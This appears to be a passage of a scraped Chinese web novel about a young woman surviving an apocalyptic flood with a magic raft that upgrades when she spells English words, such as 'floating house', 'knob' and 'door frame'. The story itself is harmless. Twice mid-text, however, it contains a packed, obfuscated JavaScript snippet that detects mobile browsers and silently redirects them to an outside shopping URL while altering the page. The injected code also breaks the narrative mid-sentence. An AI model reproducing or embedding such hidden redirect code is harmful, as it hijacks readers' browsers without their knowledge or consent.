前一个翻译,她认得前两个词。Emergency紧急的,food是食物,第三个词不认得。紧急食物什么吧。第二个翻译,highenergy,高能量,应该是高热量的意思吧,至于bars……酒吧?酒吧的复数? 不管了,她选择了字母数更少的第二个翻译,拼了出来。 一大包真空包装的压缩饼干出现,超级重,差点砸在她腿上。 怎么压缩饼干就是一大包,卫生巾却只有一片啊! 此时的桑浔还不知道,她只需要在卫生巾英文词的后面加个s表示复数,或者在前面加上明确数字或量词,就可以一次拿到自己想要的量。 这件事,怪不了别人,只能怪她自己考完六级之后就再没碰过英语。 压缩饼干给她带来了麻烦。这袋东西不小,放不进背包里。可如果不把饼干收进包,而是留在别人家,将来被发现了更说不清楚。 对了,她有木筏。 她还记得不久前收起木筏时看到的那句提示:【请注意,收起木筏时位于木筏表面的一切物品自动收入木筏储存空间,木筏上站立的人自动落至当前空间。】 是不是说,只要召唤出木筏,把饼干放在木筏上,再收起木筏,饼干就自动被收进木筏的存储空间? 她决定试一试。 幸好,苏归雁的房间和她自己的房间结构一样,只是相对称而已。而且,这个房间里的东西不多,空间足够。 轻声捡起地上的几个玩偶放到床上,整理出一片足够大的空间,然后伸手摸住胸前的吊坠。 【下次重新打开木筏,只需再次扭动旋钮。】她还记得当时的提示。 摸索几下之后,她成功扭动旋钮,木筏悄无声息出现在房内。 桑浔松了一口气,抱起重重的压缩饼干站上木筏,然后把饼干放在木筏的圆木表面。 既然已经上来了,她不打算立刻收起来,干脆趁这个时间多研究一下木筏的功能。可是,该怎么研究?她找不到任何按键,也没有说明书啊。 像是感应到她的想法,眼前忽地就出现了提示。 【检测到避难者登船,是否继续功能介绍?】 【是】【否】 选择【是】,下一句提示出现: 【木筏功能四:木筏自带十立方米存储空间。将物品放在木筏表面,收起木筏时物品自动收至存储空间。】 【取用物品时,若木筏处于打开状态,需确避难者身处木筏之上或距木筏半径50米内,同时在脑中发出指令,即可取到所想物品。】 【若木筏处于被收起状态,必须确保木筏吊坠处于避难者身上,同时脑中发出指令,即可取到所想物品。】 还没决定试试取出什么,肚子先叫了一声。 对了,从地铁站出来到现在,她一直被各种奇怪的力量或危险事件推着走,还没吃一口东西。 她明明刚斥三十元巨资买了两个饭团呢。 下一秒,提示出现。 【请确认是否取出存储空间内的饭团,以及取出数目。】 【取出全部】【取出一个】【不取出】 选了【取出一个】,很快手上便感受到沉甸甸的食物。 在木筏上坐下,她开始拆饭团的包装,塑料袋发出悉悉索索的声音。 一口饭团下肚,她不禁产生一种在空中坠落很久,总算平稳落到地面的感觉。阿姨做的饭团果然好吃,就算凉了也能给人以温暖。 又吃了两口,恢复了些许精神,她便想着要继续研究木筏功能。 心灵感应一般,新的提示立刻闪现。 【木筏功能介绍到此结束。下一阶段,在木筏上拼出正确英语名称,即可实现升级,解锁漂流屋形态,并可参与挑战,赢得漂流屋船长权限。】 4. 洗衣机 washing 【下一阶段,在木筏上拼出正确英语名称,即可实现升级,解锁漂流屋形态,并可参与挑战,赢得漂流屋船长权限。】 然后就没了。 这……就完了?没有别的功能了?什么漂流功能啊、巡航功能啊、扩展功能啊,都没有了?还真的就是开局一筏一钓竿?敢不敢多给她一只狗? 幸好,有漂流屋。 她的金手指木筏,能够升级到漂流屋。而升级的激活点,是拼出正确的漂流屋英文名。 可漂流屋的英文是什么? 桑浔郁闷。现在没有网络,也不知多久才能恢复,她在那之前可能都不会知道正确的英文。 更不要说,万一这个末世的进程属于超级快的那种,下一步马上城市就被淹没的话,网络这类基建设施想必也很难恢复了。 她需要一本英语词典。或者一个不用联网就能查到很多词的电子词典。可这种东西,到哪里去找?这种破天气,又没有网络,她连去网上下单都做不到。 忿忿吞下最后一口饭团,桑浔坐在木筏上发呆。苦闷中,她渐渐感知到身边的环境。 因为正身处木筏上,所以视觉被增强。此时抬起头,环视四方,可以看清苏归雁房间的摆设。 桌子边的书柜上,堆满了书。仔细看,里面还有英语书。 对了,可以找苏归雁借她的英语书,或者字典。 视线在书柜上移动,但找了半天,除了几本小学生英语、英语故事书和教辅,没发现字典的踪迹。 实在不行的话,她可以先拿这些小学生英语来复习一下,巩固之前的英语基础,至少这样就不用所有词都得查。 想到这儿,她站起身来,准备去书柜看看,却突然听到了有人说话的声音。 是隔壁的母女在对话,因为木筏的感官增强功能,声音清晰地飘进她耳里。 “妈妈,我觉得今天考试那道题,我写的没错啊。洗衣机就是洗东西的机器,所以叫washmachine没问题啊,为什么非得加个ing,变成washingmachine呢?” 这是苏归雁在说话。她似乎有意压低声音,应该是不想打扰一墙之隔的桑浔。 真是个有教养的好孩子。 以及,桑浔自己都不知道洗衣机的英文名叫这个。现在小学生英语都学这么难了吗? 苏语的声音跟着传来:“你的理解没错,但这里有一个语法原因。wash作为动词,如果直接放在名词前面,是动宾短语,而不是做限定词修饰名词。如果是修饰用,需要加上ing,表示能实现这个功能的意思。比如说,你记得睡袋怎么说吗?” “我记得,嗯……sleepingbag。” “没错宝贝。那阅读灯呢?”苏语继续。 “阅读灯是readinglamp吧。” “正确。所以你看,有很多这样的表述,比如登山靴叫hikingboots,游泳镜叫swimminggoggles。那么重点就在于,前面是不是用动词的ing形态来表示功能,对不对?” 苏归雁学得很快:“我懂了。所以咱们买的消毒巾,上面的英文是sanitizingwipes对吧。sanitize就是消毒的动词。” 这对母女说到的一些英文词,桑浔勉强能听懂一些。她翻出手机,看了看之前AI给的一些英文名,果然看到了类似的、前面有ing的表述,其中就有sanitizingwipes。 这个词组有点难记呢,小学生是怎么记那么熟的? 桑浔又想,这样引申的话,漂流屋会不会也是类似的英文,前面是漂流的动词加ing,后面一个表示屋的单词?屋应该是house吧。那她只需要知道漂流的动词是什么就行。这个词,或许可以问隔壁母女。 希望萌芽,她又听到苏语说话。 “我教的那些学生要是都想你这样能举一反三就好了。那些孩子,明明每天穿的用的东西上都印着英文,他们却跟没看见一样。” 所以,苏语是英语老师?那么她可以跟苏语学英语? 还来不及高兴,大门外突然传来猛烈敲门声,还附带着叫喊声,令人心慌。 桑浔赶紧收起木筏,打开房间门。苏语也正好出来,她们一起附耳在门上。 “家里有人吗?我物业的!雨水已经淹到二楼了,谁家可以收留楼下邻居?帮忙开个门!” 门内,桑浔和苏语无声对视,不约而同地摇头。 虽然帮助邻居是应当的,但只有三名女性在家中,其中一个还是孩子,再加上刚才程媛的事情,苏语已经明白不能逞强。 她必须保护好自己和女儿,也要保护好此时住在自己屋檐下的年轻女子。这比什么都重要。 物业在外面喊了半天,苏语这边没有应声,但对门传来了声音。 认真听了几秒,物业突然朝楼上楼下的其他同事喊:“快过来,这层有人喊救命!” 桑浔皱眉。 一定是对面被手铐铐起来的两人已经醒来,在朝物业求救。如果他们被救出来,肯定会把矛头指向对门。因为这大暴雨的天气,三名女性必然无处可去,只能躲在苏家的屋子里。 而只要大坦和程媛死守在苏语门外,她们三个就无路可逃。 她突然就后悔了。当初不应该等程媛来到对门才行动,应该更早之前就想办法处理掉他们两人。如今因为自己的错误决定,导致这母女俩也被牵连…… 紧绷的肩膀突然被人抚上,桑浔吓得一抖,回头看到苏语的脸。 继而看到了她安抚的目光,和轻轻的摇头,那是安慰,意思是不用担心,事情还没到最糟糕的时刻。 伸出左手食指竖在嘴前,苏语示意她安静,然后引导着她来到自己的卧室。苏归雁在床边站立,手上正紧握着一根棒球棒,眼里有紧张,却也有令人意外的勇敢。 一个孩子都不怕,她桑浔又有什么好怕的。 苏语拿过女儿手上的球棒,摸了摸她的头,低声对她说:“宝不怕,有妈妈在。” 然后又转向桑浔:“不要有心理负担,我家的防盗门可没那么容易破开。现在要紧的事情是雨,你听到物业喊了吗?雨已经淹上二楼了。” 苏语朝卧室的窗户走去。雨整晚都在下,但人们已习惯了这白噪音。此时打开窗户,噪音突然变成密集的鼓点,猛地敲上人的鼓膜。 桑浔也走来窗边,冰冷的雨点如一颗颗子弹扫射进屋内,打湿了她的脸和衣服。但她没有躲避,而是紧紧盯着楼下。 路灯早已熄灭,借着正巧闪过的惨白闪电,她看见了。 小区的花园不见了,她傍晚路过的湖也消失了。不,湖变大了,变成了海,淹没了整个小区地面,只露出几棵大树的树冠。雨水砸在汪洋上,激起密密麻麻的水花,像千万条鱼同时跃出水面。 她们在六楼,可以清楚看到水位已经接近二楼的窗台。而且那上涨的势头像被按了加速键,几秒时间内,肉眼就可以看到水位没过了二楼窗台! 照这个进度,如果雨不停下,没过六楼也只是一两个小时的事情。 “这不科学啊!妈妈,姐姐,就算咱们小区地势低,也不可能一晚上积这么多水。”苏归雁凑到窗前,震惊道。 苏归雁说的对,按照常识,她们所在的昌市不该有这么多雨水。不止昌市,任何城市都不应该有这样的雨。 对大部分人来说,这大降雨的夸张程度绝对超出了常识。但对早已看过无数末世文、又亲身遇见金手指的桑浔而言,接受起来竟没有丝毫的困难。 她会不会表现得太冷静,反而令人生疑呢? 正担心自己有没有露出破绽,苏语却先开口:“宝贝,我也觉得不科学,但现在事情已经发生了,我们只能应对。你去把防水袋找出来,往里面塞一些备用的巧克力、矿泉水、毛巾,还有我的药。对了,你换上长袖速干衣。我去把桨板拿出来充气。” 小姑娘对妈妈无条件信任,答应下来,拿手机照亮着去了自己的房间。苏语则对桑浔说:“别太担心。你刚才救了我们母女,如果雨真的漫上来,我们一定会带你一起。” 说完便带她朝储藏室走去。 她们所住的这个户型,有一个不小的储藏间。苏语打开储藏室的门,取出两个巨大的黑色背包。 “这是我们平时玩的桨板,充满气就能浮在水面上。一个给你用,另一个我和小雁用。如果水真的漫到六楼,咱们这栋楼肯定撑不住,需要往更安全的地方转移。” 苏语冷静分析,桑浔也很赞同。 这个小区楼层普遍不高,她们这栋总共只有八层,另外几个楼也是八到十二层不等。如果水真的漫上六层,下面的住户肯定无法一路往楼上躲,毕竟,躲得过六楼,不一定躲得过八楼。 况且,还有大坦和程媛两个危险因素。 所以,她们必须做好转移的准备。 可桑浔内心在挣扎。如果到了那时,她真的要占用这对母女的一个求生桨板,让她们两人挤在一个板上吗?尤其在她自己还有木筏、而且木筏足够容纳她们三人的前提下。 但另一方面,木筏的秘密,就这样直接暴露给别人,真的好么…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482786|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在手电筒的光线下,苏语看出了桑浔在挣扎,但误解了挣扎的原因:“你别有压力。桨板充上气很大的,足够我和小雁两人,而且这样她能一直跟着我,我也更安心。” 一时间不知该如何回话,桑浔只得暂时用“谢谢”来搪塞,然后埋头帮苏老师张罗打气。 窗外的雨没有丝毫减缓的迹象,门外的物业又叫了几个人,似乎在和大坦隔门对话。可因为那两人都被手铐铐在暖气上,谁都没法打开门,物业再怎么着急,也只能暂时搁置。 物业最终离开了,因为他们还要通知更高楼层的人,希望他们收留楼下邻居,同时也尽快做好准备,防止水位不受控制,整栋楼都需要转移。 雨夜,又是大半夜,听楼道里的说话声,只有两三家有男主人的屋子愿意开门收留低楼层的邻居。大部分邻居捧着一些重要物品挤在消防通道里,有人甚至大喊着愿意出现金,只求人收留。 但更多的邻居比较冷静,因为他们认为雨最多就到二楼,再夸张一点会漫到三楼,无论如何不可能更高了。只要等雨停掉、水位退下,他们就可以重新回家。 不,水位不会这么快退去。桑浔想。 大雨或许会停下,但水位不会快速下降。小区淹到这个程度,跟洼地没有关系,是整个城市的下水系统的崩坏。 甚至不只这一座城市。 屋外楼道,人声嘈杂。屋内客厅,三人紧张有序地分工合作。就连年龄最小的苏归雁,也冷静高效,完全不像是还在上小学的孩子。 小学生苏归雁收拾出来三个防水袋,一个小点的橙色印着小狗图案,里面装着巧克力、能量棒、电解质水、维生素咀嚼片之类。 第二个袋子是大号纯黑色,里面装了她和母亲的换洗衣物、毛巾、充电宝、手机、身份证件。 还来不及想为什么母女两人的家里会有一个纯黑色大防水袋,桑浔就被苏归雁塞了第三个防水袋,同样是大号,但颜色是青绿色。 “姐姐,这个给你用。我塞了同样的食物、水和维生素,你把自己重要的东西也放到这里来。咱们仨正好一人背一个。” 桑浔正想说把防水袋留给她们母女用,但转念一想,她或许需要一个这样的东西。 “谢谢,”她接下袋子,突然又想到什么,问女孩,“我看你房间有很多英语书,正好我想从零开始学英语。你能教我这种防水袋怎么说吗?” 话题转移得相当生硬,但她顾不了那么多了。 女孩一愣,却也没在意:“DryBag,就是干袋子。保持东西干燥的袋子。” 这和她设想的不一样,她还以为前面应该有个类似防水的动词加ing做修饰,然后才是bag。 见桑浔愣神,女孩拿起防水袋的黑色袋口边缘,用电筒照亮:“姐姐,这里印着英文呐。” 果然,那里有相同材质的凸起,正是DryBag两个词。 苏归雁接着说:“姐姐你想学英语啊,我妈妈就是英语老师,你让她教你吧。她比我们学校老师教的要好一万倍。” 苏语刚给两个大桨板打完气,正好喘口气,听到她们的对话:“你要学英语吗?成人学英语很快的,比孩子们要更高效率。” “真的吗?”桑浔顺着她的话问,“那苏老师你能指导我怎么自学吗?” 苏语刚点头,桑浔又换了新问题:“正巧,我最近在玩一个英语猜词游戏,卡在一个单词上过不去诶,可以请教苏老师吗?” 这转移得更加生硬,但她一秒钟也不想等。现在没有网络,没法查词,跟苏家母女又不知道能在一起多久,所以一刻也不能浪费。 苏语笑笑,喝了口水:“可以啊,什么词?” 咽下一口唾沫,桑浔豁出去了,也不顾任何铺垫,直接问:“漂流屋。苏老师知道英语怎么说吗?” 她是紧张的,所以没有留意到苏语脸上一闪而过的不自然。片刻,苏语开口:“漂流屋……你是指那种漂在水上的房子吗?我还真不知道这个东西有没有专门的英文词。” 女孩追问:“那,如果是用您知道的词来表达的话,您有建议吗?” 此时空中劈过一道闪电,苏语正看过来,她的脸被闪电照得亮白。 桑浔心跳停了半拍。 她以为自己的心思被猜到了。 但怎么可能?任谁都不可能猜到她正要等着这个词来激活自己的漂流屋吧。她给自己鼓气,勇敢地与苏语对视。 闪电过后,苏语的表情还是正常的,桑浔悬着的心悄悄落回原地。 苏语想了两秒,然后开口。 5. 漂流屋 floating 只要能正确拼出漂流屋的英文名,就可以将木筏升级到漂流屋形态。 对桑浔来说,这是非常关键的英文名,而苏语,正好能帮到她。急迫的心情让她没有精力去细想苏语此时微妙表情背后,会不会有什么不寻常的情绪。 苏语的神情回归正常,开口道:“如果是我的话,我会用floatinghouse这个词。float是漂浮的意思,漂在水面上的屋子。” “这样啊……那苏老师,我还有个问题,”桑浔讪笑,“请问float怎么拼?” 苏语一口气没喘上来,像是诧异会被问到这么简单的拼写。她顿了半秒后才说:“F-L-O-A-T,然后加上I-N-G。House你会拼吧?” “会的会的,谢谢苏老师!”顾不上自己浑身都是破绽,桑浔赶紧掏出手机,在备忘录里记下完整拼写。 苏语看她在手机上记完,正打算开口再说句什么,却被突如其来的撞门声打断。又有人在猛地敲门,还伴随着大声叫喊:“水已经漫到四楼了!没起床的赶紧起床,收拾收拾一起去八楼楼顶转移,军方的救援马上就来。谁家里有皮划艇游泳圈什么的也都带出来,保险一点。” 两人对视一眼,立刻停下刚才的对话,加快了手上的动作。 苏归雁给桑浔准备的是大号青绿色防水袋,很能装。她回到次卧把自己的东西全都装进去,居然还能有富余空间。她的东西包括:一台笔记本电脑、两个充电宝、甩棍和□□、手机,当然,还有最重要的,字母盒。 不过她多留了个心眼,提前从字母盒里取出了漂流屋英文名对应的字母,全部塞进右边裤子口袋,这个口袋正好有个拉链,拉上拉链后字母绝对安全。 而在左边口袋,有两个钥匙。 对应着两副手铐。 她不可能留那两个人在这里被水淹死,即便他们不久前还在试图害人。 收拾妥当,三人相互检查,确认防水袋的袋口已经卷好封好。苏语看到桑浔的袋子还有一点空间时,突然折回自己屋内,片刻后拿出一个不小的东西走出来。 “你不是说想学英语吗?这个送你,就当是你刚才救我们母女俩的谢礼。” 桑浔接过。一本相当有分量的硬壳书,借着电筒光,可以看清上面的字:新英汉汉英词典。 “这是两个字典合一,既可以查英语词的汉语意思,又可以找汉语对应的英文词,应该对你……有帮助。” 这正是自己需要的!她很兴奋,完全没有意识到在仓皇逃生时送厚字典是一件不寻常的事。手忙脚乱把词典放进防水袋,重新封好袋口,然后紧紧抱住苏语。 “谢谢你,苏老师,谢谢你!” 苏语似乎还想说什么,但犹豫了两秒,没有开口,只是轻轻拍了她的后背。 三人打开门,按照刚刚商量的,苏家母女各背一个防水袋、抱着比人还高的桨板在楼道等着,桑浔则拿钥匙打开自家门。 客厅暖气旁的大坦一看到她,立刻想要站起身冲向她,但在被手铐揪住之后,改为破口大骂,骂得极脏。桑浔没有理他,绕过他进入锁着程媛的卧室。 卧室里的程媛却没有跟着骂,而是用一种难以描述的眼睛看着她:“你到底是什么人?你之前肯定在房间对不对?” 她并不回答,她一直讨厌回答程媛的问题,现在更是厌恶。 无视提问,她从口袋里掏出两把手铐的钥匙,放在程媛用脚可以够到的地方,然后退到门边:“你不需要知道我是什么人,你只需要知道,今夜结束后,世界再也回不到从前。你也最好不要再继续之前害人的事情。” 程媛还要开口,却被桑浔打断:“这两把钥匙,一个可以打开你的手铐,另一个是你男朋友的。我们都要去楼顶等转移了。你们好自为之,去了楼顶,不要找我们麻烦,不然我有的是办法治你。” 然后头也不回地离开。 悄悄摸上自己的脸,烧得厉害,她从来没有这样强硬过,感觉还……挺爽的。 勇敢真好。 不如接下来,就一直走勇敢路线? 来到楼道,桑浔收敛了表情,跟着苏家母女踏上消防楼梯,加入前往楼顶的邻居们。 楼顶,雨点像炮弹般密密麻麻砸在身上,打得脸生疼,眼睛根本睁不开。三人穿着苏归雁提前准备好的雨衣,戴着她翻出来的泳镜和护目镜,勉强能在人挤人的平台上找到个空位。 这栋楼有约百人挤在楼顶,借助偶尔闪过的闪电,可以看到不远处其它楼顶上也站满了人。 楼栋已变成汪洋中的数个小洲。 “第一波救援马上就到。有老人孩子先上船,让老人孩子先上!”物业员工扯着嗓子喊,同时归拢了一批老人与小孩。那员工看到苏归雁上来,冲她喊道:“那个小孩,你也过来!第一波你能上!桨板就扔下吧,有冲锋艇,不用那桨板!” 苏归雁同样扯着嗓子喊回去:“我不是小孩了!我跟我妈一块儿,我们不赶第一波!” 苏语紧紧握住女儿的手,并没有劝她先走。 桑浔看一眼她们紧握的双手。 然后将目光转向旁边,清了清嗓。 第一艘冲锋艇终于到达时,水已漫到了六楼与七楼之间。耳边都是人们绝望的声音:“世界末日来啦,我们都要完了。” 但绝望之下,人们仍渴望生的机会。第一艘艇只接走了二十多人,剩下的人冲着艇离开的方向哀嚎:“快点回来!” 万幸,第二波救援很快赶到,桑浔把苏家母女推上艇,却在苏语回头拉她时,闪身躲过:“苏老师,我等下一波,那边还有两个病人需要先走。你们保重。” 苏归雁忙喊道:“姐姐不至于!你快点上来啊,我们三个一起。” 苏语却制止了女儿,看向拒绝上艇的年轻女子。 那一刻,桑浔觉得自己被苏语看穿了。 片刻,苏语开口:“桨板你带着,或许有用。照顾好自己,后会有期。” 桑浔点头。然后目送救援艇离开。 隔着大雨都能看出苏归雁眼睛泛红。单纯的女孩,只是半个晚上的时间,就已经将桑浔当作自己的伙伴,对着她大喊:“姐姐,你等会儿一定要来找我们呀!” 桑浔知道自己无法保证,却也大喊回去:“一定!” 她喊得中气十足,直直穿透雨幕。 但并非没有害怕。 她心里清楚,跟着救援冲锋艇,跟着苏家母女,理论上会更安全。她们三个可以相互照应,而且军方的救援,一定是最值得信赖的救援。 但今晚,她想忘记所谓的安全选择,去选择那个看上去如痴人说梦的金手指,看看凭着自己,能够活到什么时候。 她想勇敢。 救援艇很快消失在大雾般的雨中,剩下的人都聚集到一起,期盼下一波救援。桑浔逆着人群,两边腋下各夹一个桨板,吃力地挤到楼顶设备间的背面。设备间不小,背对着人群,能挡住视线,而且人们的注意力都在冲锋艇会来的方向,没人留意她。 设备间旁有个细管道,她把其中一个桨板用自带的安全脚绳绑上管道,这样如果将来苏家母女重返家园,至少还有一个桨板在等着她们。 虽然她不认为这个家还回得来。 至于另一个桨板,她要听从苏老师的建议,带走。 伸手握住挂在胸前的竹筏吊坠,桑浔深呼吸,扭动旋钮。 【是否放出木筏?】 是。 木筏出现在眼前,桑浔一点时间都不浪费,拖着桨板立马站了上去。瞬间,她身处的空间内,雨停了。 大雨的声音还能听到,但雨点被屏障隔绝在外,仿佛站在伞下听雨打伞面。她脱下雨衣,扔掉护目镜,再次拥有了高清的视觉与听觉,甚至可以透过雨幕,看到披风破浪开过来的新一批救援艇,听到楼顶的物业人员大喊:“这是咱最后一波人了吧?楼里没人了吧?这波完了之后救援艇就不再回来了!” 之后一片嘈杂,再然后耳边只剩雨声,楼顶的人撤退完毕。 桑浔突然想到,她还没在人群中看到程媛和大坦,不知道他们有没有赶上最后一艘艇。 但多想无益,人各有命,她留下了钥匙,她问心无愧。 再过不久,大水就要漫上楼顶,她要在那之前激活漂流屋。毕竟,木筏虽能避难,却终归简陋,不是长久之计。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482787|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且她那颗读遍末世文、熟知各种升级囤货基建打怪套路的心,早已按耐不住。 打开口袋拉链,她将提前准备好的字母掏出,按顺序在木筏上一一摆好。 FLOATINGHOUSE。 【检测到英语舰升级关键词,是否升级?】 【是】【否】 成功了!苏老师是天使,刚好给了正确的英文名! 她直接向【是】伸出手,在碰到前的一瞬间,突然注意到,下方还有一行小字。 【请注意,一旦升级,将进入乘客模式,原本的避难模式失效,且避难模式下的安全屏障将自动关闭。】 但,这时候刹车已经来不及,她的手,已经点上了【是】。 下一秒,整个视线被闪光占据。 不知过了多久,闪光开始消退,眼睛还没来得及适应,身体先突然剧痛。 是雨!成千上万钻石般重量的大雨滴,毫不留情地砸上她的头顶和每一寸皮肤。她立刻想到在网上看到的冰雹视频,那些汽车被大冰雹砸出了一个个凹洞。 那一刻,她以为自己的头上也被砸满凹洞。 避难模式失效,屏障关闭。 她无处避雨。 抹了把眼睛上的雨帘,又用一只手护住头顶,她顾不得手背被砸得生疼,强撑着转头查看,想找找漂流屋在哪儿,好躲进去避雨。 她看到了,就在眼前,不到30厘米的距离。 自己站在木板上,应该是漂流屋的甲板,而眼前,是一扇门。 不,这东西能叫门,那抓蟑螂用的小纸屋都能叫豪宅了。这就是块破烂的胶合板,上半缺了个角,勉强固定在一片大木板中。大木板似乎起的是墙的作用,可惜还不如纸板,此时被雨打得东倒西歪。 这就是漂流屋?现在想roll回到木筏还来得及吗? 暴虐的雨打断了桑浔的内心吐槽,再不躲进去,手背绝对要变蜂窝煤。她伸手去推门,却发现这门板虽破,可一点也推不动。 难道,得向外拉? 可是……眼睛在门中部扫描一遍,这上面没有门把手啊。 刚想到这儿,视线里,在应该有个门把手的位置,出现一道小亮光。凑近看,那竟然是一个微型的屏幕,屏幕的大小正好被一个英文单词填满。 不,是个残缺的英文单词,准确说,是个单词拼写填空:【kno_】。 啊这,是要填进去字母,然后生成对应的东西吗?放在这个位置,肯定就是门把手这个词吧。 可是,她、她不知道把手的英文是什么啊。 不管了,先随便试试。kno开头的,她立刻能想到的就是know,知道的意思。手指触上屏幕,下意识先写出个w。 屏幕上的w闪了两下,自动消失。 看来没用。 那怎么办?不知道就是不知道啊,难不成从a到z所有字母都试一遍? 正这样想着,突然脚下一晃,桑浔吓得扭头,才发现,水位已经漫上了八楼楼顶,将她的破烂漂流屋浮了起来。 咬咬牙,她也不打算费劲想了,总共才26个字母,大不了按顺序一个个试。 抬手在下划线处写了个a,闪了两下,消失了。 下方的水突然变急,猛地将漂流屋抛起,桑浔一下子失去平衡,身体斜着飞出去,撞到了什么东西,被挡住了。 定睛一看,挡住她的是个木头围栏,应该就是漂流屋甲板的护栏。可下一秒,那护栏“嘎嘣”一声,断掉了! 她下意识伸手乱抓,抓住了夹角的另一个护栏,才没有从刚才断掉的那块缺口被甩下去。来不及抚平心跳,甚至来不及呼吸,她抓着护栏三两步回到了门前。 但还没站稳,耳边突然响起巨兽狂吼般的声音。 转向声音发来的方向,桑浔瞳孔骤缩——十几米外,突然出现了一个大浪,正朝她的方向袭来。 桑浔赶忙跪在甲板上稳定自己,右手哆哆嗦嗦伸向门上的填空题。上天保佑地球母亲保佑全世界所有末世文作者和主角们保佑,千万千万要保佑。 一个歪斜的b刚刚写完收口,浪头已逼至她的身后。 6. 填空 filling the 凌晨4点多,本是一天中最黑暗的时刻,却被不时亮起的闪电照成白昼。 白昼之下,无数楼宇已被大水淹没。水面之上,巨浪肆虐。 其中一股浪像是发现了诱人的猎物,兴奋地前进、翻涌,在距离猎物只剩几米的时候升至最高,然后瞅准了直直砸下。 但在它砸下的前一秒,那猎物身前,出现一个发亮小方块。 亮块上是一个完整的词:【knob】。 接着亮块消失,取而代之的是个凭空长出的黑色把手,正好就在猎物的手边。猎物一把抓住,顺势往下拧—— 门开了。 桑浔整个人扑进屋里,反手关门的一刹那,巨浪拍在门板上,“轰”的一声,漂流屋剧烈晃动,将她甩出几米远。 头撞在木板上,但却没有担心中的钝痛,只是由于眩晕导致她眼前一片黑,过了好久才恢复。 整个屋子被浪上拱下摔,门板和所谓的墙也嘎啦嘎啦响,仿佛三只小猪里老大和老二盖的简易房子,随时可能被大灰狼毁掉。 幸好没有。 屋里一片漆黑,只有偶尔的闪电能照亮各个角落。 但桑浔情愿没有闪电,因为这样她就不会看到屋内的情况,也就不会心梗。 太惨了这个漂流屋,破败,陋室,还有什么词能形容? 对了,危房。 破烂木板拼成的墙歪斜着,板子之间的缝隙宽得能进个人,而雨水正毫无阻拦地从那里进来。屋顶那片木头有好几个眼,雨柱直直扎下来,在地板上砸出好几个小水坑。最惨的是那扇门,那扇她好不容易才打开然后躲进来的门,本来就缺了个大角,又被巨浪砸过,现在大角直接变成大窟窿。 门的实际残留面积,还不到理论中完整面积的一半。 整个漂流屋内,唯一看着不像破烂的东西,就是刚刚她走运拼出来的那个门把手。 她踉跄着凑近看门把手,很新,摸上去手感也很舒服,在这个破屋子里,相当有违和感。 不过万幸,那个填空的字母,只是排在第二位的b,如果是最后面几个字母,xyz什么的,她大概早已经被大浪拍到水里了。 那可就出师未捷了。 想到这里,身体像是终于意识到刚才的危险,所有力气一下子被抽空,两腿发软,扶着门的手指也在发抖,她终于支撑不住,倒在地板上。 她感到了害怕。 她有些后悔了。 没想到虽然有金手指,却仍然要经历这样惊险的生死时刻,而且,今后她如果一个人在漂流屋上,指不定还会经历更多这样的时刻。 如果她跟着苏家母女转移的话,一定不会像刚才那样,稍不小心就可能彻底消失在大水中,没人发现,没人知晓。 她会不会被所谓“勇敢”煽动到一时脑热,做了个错误的决定? 然后这错误的决定,会不会引领她走上绝路? 暴雨和风浪仍在持续,桑浔靠着的那处门边地板本就是湿的,又有大雨从门板的窟窿处落进来,把她早已湿透的身体浇得更透。 但她连起身避雨的力气都没有了,只是蜷缩着,将脸埋进胳膊。 妈妈,爸爸,对不起,我没有照顾好自己,我食言了。 我果然不适合勇敢,还是应该苟着的。 我如果苟着的话,应该可以保命,不至于落到现在这个地步。 可是现在,说不定,我很快就要去见你们了。 你们会生气吗? 会因此不想见到我吗? 没人回答她。只有雨声如轰鸣,震耳欲聋。 不知过了多久,桑浔抬起头,脸上不知泪痕还是雨痕的几道,异常清晰,但眼里已不见害怕与后悔。 不能让爸爸妈妈生气,不能让他们失望。 再努力一把,再勇敢一点。 她撑起自己,站直身体,调整三次呼吸之后,重新看回门把手。 这个门把手,是她拼对了单词才出现的。那么,屋子其它这些破破烂烂的结构,是不是也可以用相同的方法…… 刚想到这里,眼前闪出亮光,在门的中间位置——其实没有很中间,因为刚才被浪砸了个巨大口子——出现了和刚才把手位置一样的小亮屏幕,同样是个单词拼写填空:【do_r】。 刚从负面情绪中走出来的桑浔,差点被这道题气笑。小瞧人了不是?谁还不会拼门这个词? 在空白处填上字母o,很快,小屏幕消失,破烂门也一同消失。出现在眼前的,是一扇全新的门。还有一个数字同时出现,不,是数字的动画,一个数字1,滚动着变成了2。 1变2的数字转瞬即逝,她没来得及想太多,注意力就被新的门吸引过去。黑色钢制框架,和把手是同一套设计,搭配厚实的玻璃,和刚才的大窟窿门比起来,给人巨大的安全感。 但下一秒,安全感就破碎了——钢制玻璃门太重,原本的简陋门框撑不住,竟然发出“吱呀”一声,眼见着就要裂开。桑浔赶紧看向门框,寻找能更新门框的拼写填空。 她找到了,就在门框正上方:【_oo_f_ame】。 可能是刚才的door很顺,给了她信心,面对这个新词,她很快有了猜测。 第一个词肯定就是door,门框,门的框,后面那个词自然对应着框。而关于框,她隐约有个想法,来自framework这个词。 这个词她们在工作上经常用,表示框架,什么供应商评估框架之类。那么框,说不定就是前半部分的frame。 踮起脚尖,填上了d和r,果然,旧门框消失,同时又出现了数字,这回是从2变为3。 这是在计数吗? 破门框变成了同款超安全黑色钢制框,帅气牢固。然后,这漏雨的墙,就变得格外刺眼。 